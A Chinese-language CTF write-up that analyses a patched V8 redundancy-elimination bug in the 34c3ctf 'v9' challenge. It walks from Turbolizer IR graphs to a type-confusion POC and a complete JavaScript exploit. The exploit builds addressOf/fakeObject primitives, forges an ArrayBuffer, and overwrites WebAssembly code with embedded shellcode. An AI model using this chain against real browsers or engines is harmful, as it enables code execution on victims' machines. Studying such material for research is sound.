0x00 前言
结合Turbolizer来分析34c3ctf-v9的v8逃逸题
0x01 patch分析
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
#include "src/compiler/redundancy-elimination.h"
#include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"
namespace v8 {
namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
+ case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
+ } else if (a->opcode() == IrOpcode::kCheckMaps &&
+ b->opcode() == IrOpcode::kCheckMaps) {
+ // CheckMaps are compatible if the first checks a subset of the second.
+ ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+ ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+ if (!b_maps.contains(a_maps)) {
+ return false;
+ }
} else {
return false;
}
从patch中可以看到，在redundancy-elimination.cc源文件的RedundancyElimination::Reduce函数中增加了一句case IrOpcode::kCheckMaps:，这样对于checkmaps节点，也会进行reduce
switch (node->opcode()) {
case IrOpcode::kCheckBounds:
case IrOpcode::kCheckFloat64Hole:
case IrOpcode::kCheckHeapObject:
case IrOpcode::kCheckIf:
case IrOpcode::kCheckInternalizedString:
case IrOpcode::kCheckMaps:
case IrOpcode::kCheckNumber:
case IrOpcode::kCheckReceiver:
case IrOpcode::kCheckSmi:
case IrOpcode::kCheckString:
case IrOpcode::kCheckSeqString:
case IrOpcode::kCheckNotTaggedHole:
case IrOpcode::kCheckedFloat64ToInt32:
case IrOpcode::kCheckedInt32Add:
case IrOpcode::kCheckedInt32Sub:
case IrOpcode::kCheckedInt32Div:
case IrOpcode::kCheckedInt32Mod:
case IrOpcode::kCheckedInt32Mul:
case IrOpcode::kCheckedTaggedToFloat64:
case IrOpcode::kCheckedTaggedSignedToInt32:
case IrOpcode::kCheckedTaggedToInt32:
case IrOpcode::kCheckedUint32ToInt32:
return ReduceCheckNode(node);
看到ReduceCheckNode函数
Reduction RedundancyElimination::ReduceCheckNode(Node* node) {
Node* const effect = NodeProperties::GetEffectInput(node);
EffectPathChecks const* checks = node_checks_.Get(effect);
// If we do not know anything about the predecessor, do not propagate just yet
// because we will have to recompute anyway once we compute the predecessor.
if (checks == nullptr) return NoChange();
// See if we have another check that dominates us.
if (Node* check = checks->LookupCheck(node)) {
ReplaceWithValue(node, check);
return Replace(check);
}
// Learn from this check.
return UpdateChecks(node, checks->AddCheck(zone(), node));
}
该函数调用LookupCheck(node)获得新值以后，调用ReplaceWithValue(node, check)将原节点进行了替换。
继续看到LookupCheck(node)函数，该函数调用了IsCompatibleCheck函数，如果函数返回true，那么就会返回check->node，从而可以对这个节点进行Reduce消除
Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const {
for (Check const* check = head_; check != nullptr; check = check->next) {
if (IsCompatibleCheck(check->node, node)) {
DCHECK(!check->node->IsDead());
return check->node;
}
}
return nullptr;
}
而IsCompatibleCheck函数则是被patch过的
bool IsCompatibleCheck(Node const* a, Node const* b) {
if (a->op() != b->op()) {
if (a->opcode() == IrOpcode::kCheckInternalizedString &&
b->opcode() == IrOpcode::kCheckString) {
// CheckInternalizedString(node) implies CheckString(node)
} else if (a->opcode() == IrOpcode::kCheckMaps &&
b->opcode() == IrOpcode::kCheckMaps) {
// CheckMaps are compatible if the first checks a subset of the second.
ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
if (!b_maps.contains(a_maps)) {
return false;
}
} else {
return false;
}
}
for (int i = a->op()->ValueInputCount(); --i >= 0;) {
if (a->InputAt(i) != b->InputAt(i)) return false;
}
return true;
}
在patch的内容分支上，程序获得两个checkmaps值，如果a_maps是b_maps的子集，那么变直接返回true，这将使得节点b被Reduce掉
0x02 POC构造
首先构造，我们使用了字典对象，我们仅观察checkmaps的reduce过程
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
var y = new Array(0x10);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict);
}
print(opt(dict));
其中为了防止opt函数被直接内联到for语句里，我们在里面增加了一句var y = new Array(0x10);，在代码里，按理来说，var x = obj_dict.a;和return obj_dict.a;都应该有一个checkmaps节点用于进行类型检查。我们还需要先弄清楚RedundancyElimination::ReduceCheckNode函数调用者是来自哪里，因此，我们在该函数下断点，然后用gdb调试。
最终发现，该阶段发生在LoadEliminationPhase阶段。接下来，结合IR图来进行验证，运行d8时加入选项--trace-turbo。
在Loops peeled 95阶段，43这个节点checkmaps还存在
然后到了下一个阶段，也就是Load eliminated 95阶段，43节点的checkmaps被reduce了
如果把patch去掉，发现在Load eliminated 95阶段是不会把checkmaps给去掉的
根据上述结论，我们进一步构造
var dict = {a:1.1};
function opt(obj_dict) {
var x = obj_dict.a;
obj_dict.a = {};
var y = new Array(0x10);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>1);
}
print(opt(dict));
发现没有发生类型混淆，生成IR图进行观察,最后发现
最后发现return obj_dict.a;已经是按照对待HOLEY_ELEMENTS类型的方式将值取出的方式。由此，我们考虑加一个函数调用，使得字典对象逃逸，这样由于return obj_dict.a;的checkmaps在Load eliminated 95阶段会被移除，而Escape Analyse阶段在Load eliminated 95阶段之后，那么就可以造成类型混淆
var dict = {a:1.1};
function opt(obj_dict,o) {
var x = obj_dict.a;
o(obj_dict);
return obj_dict.a;
}
for (var i=0;i<0x20000;i++) {
opt(dict,(o)=>i);
}
print(opt(dict,(o)=>{o.a = dict}));
测试发现确实发生了类型混淆
root@ubuntu:~/Desktop/v8/34c3ctf-v9/x64.debug# ./d8 poc.js
1.8632743560757e-310
分析IR图
可以看到，在调用完函数后，没有对dict的类型重新进行检查，那么，我们在函数里改变了dict里a属性的类型，但是代码仍然用的是对待原来double elements的方式来取出值，由此发生类型混淆
0x03 漏洞利用
首先构造addressOf原语
function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}
var double_dict = {a:1.1};
for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}
function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
然后构造fakeObject原语
function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}
var obj = {};
var obj_dict = {b:2.2};
for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}
function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}
在构造fakeObject原语时，在fakeObject_opt时，我们没有直接返回dict.b而是返回dict对象，因为我们在前一句有dict.b = addr;，在与return之间没有进行其他逃逸操作，因此直接返回dict.b会在Escape Analyse阶段折叠掉。
构造好这两个原语以后，就是常规利用了
exp
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64_l(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}
function u64_h(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(4,true);
}
function addressOf_opt(dict,f) {
var x = dict.a;
f(dict);
return dict.a;
}
var double_dict = {a:1.1};
for (var i=0;i<0x20000;i++) {
addressOf_opt(double_dict,(o)=>1);
addressOf_opt(double_dict,(o)=>2);
addressOf_opt(double_dict,(o)=>3);
}
function addressOf(obj) {
var x = addressOf_opt(double_dict,(o)=>{o.a = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
function addressOf2_opt(dict,f) {
var x = dict.a2;
f(dict);
return dict.a2;
}
var double_dict2 = {a2:1.1};
for (var i=0;i<0x20000;i++) {
addressOf2_opt(double_dict2,(o)=>1);
addressOf2_opt(double_dict2,(o)=>2);
addressOf2_opt(double_dict2,(o)=>3);
}
function addressOf2(obj) {
var x = addressOf2_opt(double_dict2,(o)=>{o.a2 = obj});
return [u64_h(x),u64_l(x) - 0x1];
}
function fakeObject_opt(dict,f,addr) {
var x = dict.b;
f(dict);
dict.b = addr;
return dict;
}
var obj = {};
var obj_dict = {b:2.2};
for (var i=0;i<0x20000;i++) {
fakeObject_opt(obj_dict,(o)=>1,1.1);
fakeObject_opt(obj_dict,(o)=>2,2.2);
fakeObject_opt(obj_dict,(o)=>3,3.3);
}
function fakeObject(addr_h,addr_l) {
var obj1 = fakeObject_opt(obj_dict,(o)=>{o.b = obj;},p64f(addr_l+0x1,addr_h)).b;
return obj1;
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12];
var d = addressOf(faker);
var faker_addr_h = d[0];
var faker_addr_l = d[1];
print('faker_addr='+faker_addr_h.toString(16) + faker_addr_l.toString(16));
d = addressOf2(func);
var wasm_shellcode_ptr_addr_h = d[0];
var wasm_shellcode_ptr_addr_l = d[1] + 0x38;
print('wasm_shellcode_ptr=' + wasm_shellcode_ptr_addr_h.toString(16) + wasm_shellcode_ptr_addr_l.toString(16));
var element_addr_l = faker_addr_l + 0x40;
print('element_addr=' + faker_addr_h.toString(16) + element_addr_l.toString(16));
//fake a ArrayBuffer's Map
faker[0] = p64f(0,0);
faker[1] = p64f(0x0f00000a,0x001900c6);
faker[2] = p64f(0x082003ff,0);
faker[3] = p64f(0,0);
//faker a ArrayBuffer
faker[4] = p64f(element_addr_l+0x1,faker_addr_h); //map
faker[5] = p64f(0,0); //properties
faker[6] = p64f(0,0); //elements
faker[7] = p64f(0,0x100); //length
faker[8] = p64f(wasm_shellcode_ptr_addr_l,wasm_shellcode_ptr_addr_h);
faker[9] = faker[8];
faker[10] = p64f(0x100,0)
faker[11] = p64f(0x4,0);
var arb_ArrayBuffer = fakeObject(faker_addr_h,element_addr_l+0x20);
var adv = new DataView(arb_ArrayBuffer);
d = adv.getFloat64(0,true);
var wasm_shellcode_addr_h = u64_h(d);
var wasm_shellcode_addr_l = u64_l(d) + 0x5f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr_h.toString(16) + wasm_shellcode_addr_l.toString(16));
faker[8] = p64f(wasm_shellcode_addr_l,wasm_shellcode_addr_h);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//执行shellcode
func();
0x04 参考
从一道CTF题零基础学V8漏洞利用
redundancy elimination reducer in v8 and 34c3 ctf v9
0x05 感想
在v8的JIT代码生成过程中，会使用IR来分析程序并且进行优化，v8的IR图使用sea of node思想，其中checkmaps节点是用来做deoptimization的依据，checkmaps节点用于检查对象类型是否符合，如果符合，则直接执行接下来的JIT代码，否则会使用deoptimization，以确保类型正确。